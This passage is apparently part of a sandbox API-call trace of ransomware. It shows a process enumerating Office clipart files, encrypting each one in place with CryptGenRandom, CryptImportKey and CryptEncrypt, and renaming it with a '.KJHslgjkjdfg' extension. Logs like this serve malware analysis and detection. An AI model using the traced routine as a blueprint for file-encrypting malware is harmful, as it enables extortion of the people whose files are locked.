lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c84, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0157831.WMF", cAlternateFileName="")) returned 1 [0202.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.506] GetProcessHeap () returned 0x2ef0000 [0202.506] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.506] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.506] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.506] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0202.508] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.508] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.508] GetProcessHeap () returned 0x2ef0000 [0202.508] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.508] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.508] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.508] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.509] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.509] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.509] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.509] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.509] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.509] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.509] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.509] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.509] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2c84, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2c84, lpOverlapped=0x0) returned 1 [0202.510] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2c90, dwBufLen=0x2c90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2c90) returned 1 [0202.510] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.510] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2c90, lpOverlapped=0x0) returned 1 [0202.511] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.511] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.511] SetEndOfFile (hFile=0x130) returned 1 [0202.513] GetProcessHeap () returned 0x2ef0000 [0202.513] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.513] GetProcessHeap () returned 0x2ef0000 [0202.514] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.514] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf.kjhslgjkjdfg")) returned 1 [0202.515] CloseHandle (hObject=0x130) returned 1 [0202.515] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x48dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0158071.WMF", cAlternateFileName="")) returned 1 [0202.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.516] GetProcessHeap () returned 0x2ef0000 [0202.516] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.516] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.516] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.516] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.518] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.518] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.518] GetProcessHeap () returned 0x2ef0000 [0202.518] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.518] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.518] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.518] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.518] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.519] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.519] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.519] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.519] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.519] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.519] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.519] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.519] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x48dc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x48dc, lpOverlapped=0x0) returned 1 [0202.520] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x48e0, dwBufLen=0x48e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x48e0) returned 1 [0202.520] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.520] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x48e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x48e0, lpOverlapped=0x0) returned 1 [0202.520] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.520] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x49b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.520] SetEndOfFile (hFile=0x130) returned 1 [0202.521] GetProcessHeap () returned 0x2ef0000 [0202.522] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.522] GetProcessHeap () returned 0x2ef0000 [0202.522] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.522] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf.kjhslgjkjdfg")) returned 1 [0202.523] CloseHandle (hObject=0x130) returned 1 [0202.523] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x462e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0158477.WMF", cAlternateFileName="")) returned 1 [0202.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.525] GetProcessHeap () returned 0x2ef0000 [0202.525] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.525] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.525] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.525] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0202.528] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.528] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.528] GetProcessHeap () returned 0x2ef0000 [0202.528] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.528] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.528] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.528] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.528] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.528] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.528] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.528] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.528] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.529] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.529] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.529] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.529] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x462e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x462e, lpOverlapped=0x0) returned 1 [0202.530] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4630, dwBufLen=0x4630 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4630) returned 1 [0202.530] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.530] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4630, lpOverlapped=0x0) returned 1 [0202.530] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.530] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.530] SetEndOfFile (hFile=0x130) returned 1 [0202.533] GetProcessHeap () returned 0x2ef0000 [0202.533] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.533] GetProcessHeap () returned 0x2ef0000 [0202.533] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.533] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf.kjhslgjkjdfg")) returned 1 [0202.535] CloseHandle (hObject=0x130) returned 1 [0202.535] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x72de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0160590.WMF", cAlternateFileName="")) returned 1 [0202.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.540] GetProcessHeap () returned 0x2ef0000 [0202.540] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.540] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.540] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.541] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0202.543] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.543] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.543] GetProcessHeap () returned 0x2ef0000 [0202.543] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.543] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.543] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.543] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.543] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.544] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.544] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.544] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.544] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.544] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.544] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.544] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.544] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x72de, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x72de, lpOverlapped=0x0) returned 1 [0202.545] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x72e0, dwBufLen=0x72e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x72e0) returned 1 [0202.546] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.546] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x72e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x72e0, lpOverlapped=0x0) returned 1 [0202.546] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.546] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x73b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.546] SetEndOfFile (hFile=0x130) returned 1 [0202.547] GetProcessHeap () returned 0x2ef0000 [0202.547] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.547] GetProcessHeap () returned 0x2ef0000 [0202.547] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.547] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf.kjhslgjkjdfg")) returned 1 [0202.549] CloseHandle (hObject=0x130) returned 1 [0202.549] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb594, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0164153.JPG", cAlternateFileName="")) returned 1 [0202.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.550] GetProcessHeap () returned 0x2ef0000 [0202.550] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.550] CryptGenRandom (in: hProv=0x2f0c268, 